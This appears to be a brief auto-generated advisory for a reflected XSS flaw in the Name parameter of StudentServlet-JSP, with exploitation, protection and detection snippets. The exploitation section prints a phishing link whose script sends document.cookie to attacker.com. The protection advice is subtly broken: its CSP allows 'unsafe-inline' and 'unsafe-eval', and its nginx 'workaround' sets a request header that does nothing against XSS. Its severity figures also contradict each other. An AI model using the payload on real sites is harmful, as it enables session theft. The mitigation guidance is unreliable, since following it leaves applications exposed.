How CVE-2025-3036 Works
This vulnerability arises in the `Student Management Handler` component of StudentServlet-JSP due to improper input sanitization of the `Name` parameter. Attackers can inject malicious JavaScript payloads through this parameter, which are then rendered in the browser of other users visiting the affected page. Since the application fails to encode or validate user-supplied input, the payload executes in the victim’s context, potentially leading to session hijacking, defacement, or data theft. The attack is remotely exploitable with low complexity but requires some user interaction (e.g., clicking a crafted link).
DailyCVE Form:
Platform: StudentServlet-JSP
Version: Rolling release
Vulnerability: XSS
Severity: Medium
Date: 04/15/2025
What Undercode Say:
Exploitation:
1. Craft malicious URL:
http://victim-site/student?Name=<script>alert(document.cookie)</script>
2. Phishing delivery:
<a href="http://victim-site/student?Name=<script>fetch('https://attacker.com/steal?data='+document.cookie)</script>">Click Here</a>
Protection:
1. Input sanitization:
String sanitizedName = ESAPI.encoder().encodeForHTML(request.getParameter("Name"));
2. CSP header:
Content-Security-Policy: default-src 'self'; script-src 'unsafe-inline' 'unsafe-eval'
3. Output encoding:
<c:out value="${param.Name}" escapeXml="true"/>
Detection:
1. Scan with ZAP:
zap-cli quick-scan --spider -s xss http://target
2. Manual testing:
curl -G --data-urlencode "Name=<svg/onload=alert(1)>" http://target/student
Analytics:
- CVSS: 4.8 (AV:N/AC:L/PR:H/UI:P)
- Exploitability: Low (requires user interaction)
- Patch Status: Unavailable (rolling release)
Mitigation Workaround:
location /student {
proxy_set_header X-Content-Type-Options "nosniff";
}
